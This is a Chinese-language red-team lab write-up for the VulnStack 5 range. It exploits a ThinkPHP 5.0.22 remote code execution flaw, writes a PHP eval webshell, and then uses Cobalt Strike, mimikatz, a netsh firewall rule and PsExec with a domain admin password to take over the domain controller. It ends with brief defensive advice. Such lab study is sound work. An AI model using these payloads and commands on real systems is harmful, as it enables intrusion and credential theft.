ATT&CK实战| VulnStack红队(五)
字数 1015 2025-08-18 11:39:30
ThinkPHP 5.0.22 RCE漏洞分析与内网渗透实战
环境准备
靶场环境
- Win7 (192.168.135.150)
- 运行phpstudy
- ThinkPHP 5.0.22框架
- Win2008 (192.168.138.138) - 域控制器
- 攻击机 Win10 (192.168.135.143)
外网渗透阶段
信息收集
- 访问目标IP:
http://192.168.135.150 - 目录扫描发现关键文件:
robots.txtadd.php(后门文件)
漏洞发现与利用
- 通过错误页面获取ThinkPHP版本号: 5.0.22
- 查找并利用该版本的RCE漏洞
RCE漏洞利用POC:
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入一句话木马:
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%27hacker%27]);%20?^%3E%20%3E%20C:\phpStudy\PHPTutorial\WWW\public\system.php
代码审计分析
-
漏洞根源在
App.php中控制器过滤不严 -
漏洞触发流程:
- URL路由检测函数处理
index/think\app/invokefunction parseUrl函数将路径转换为数组- 最终执行
call_user_func_array("system","whoami")
- URL路由检测函数处理
-
官方补丁位置:
- https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
内网渗透阶段
主机信息收集
- 查看ARP信息发现内网138段机器
- 确认域环境:
- DNS服务器: 192.168.138.138
- 域名: sun.com
- 域控IP: 192.168.138.138
横向移动
- 使用Cobalt Strike (CS)进行内网渗透
- 生成Windows exe木马并上传到Win7
- 运行mimikatz获取凭证:
- 获取域管理员密码
- 提权至SYSTEM权限
域控攻击
- 扫描内网445端口:
portscan 192.168.138.0/24 445 arp 50 - 创建CS监听器(6666端口)用于不出网环境
- 添加防火墙规则允许6666端口:
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666 - 使用PsExec连接域控:
PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\nei.exe
关键点总结
-
ThinkPHP漏洞利用:
- 版本识别至关重要
- 利用URL路由机制实现RCE
- 通过命令执行写入Webshell
-
内网渗透技巧:
- 使用已控主机作为跳板
- 不出网环境下的监听器配置
- 防火墙规则修改技巧
-
域渗透方法:
- mimikatz凭证获取
- PsExec在域环境中的使用
- 内网端口扫描技术
-
防御建议:
- 及时更新框架版本
- 限制内网主机的出网权限
- 监控异常端口开放行为
- 加强域管理员密码管理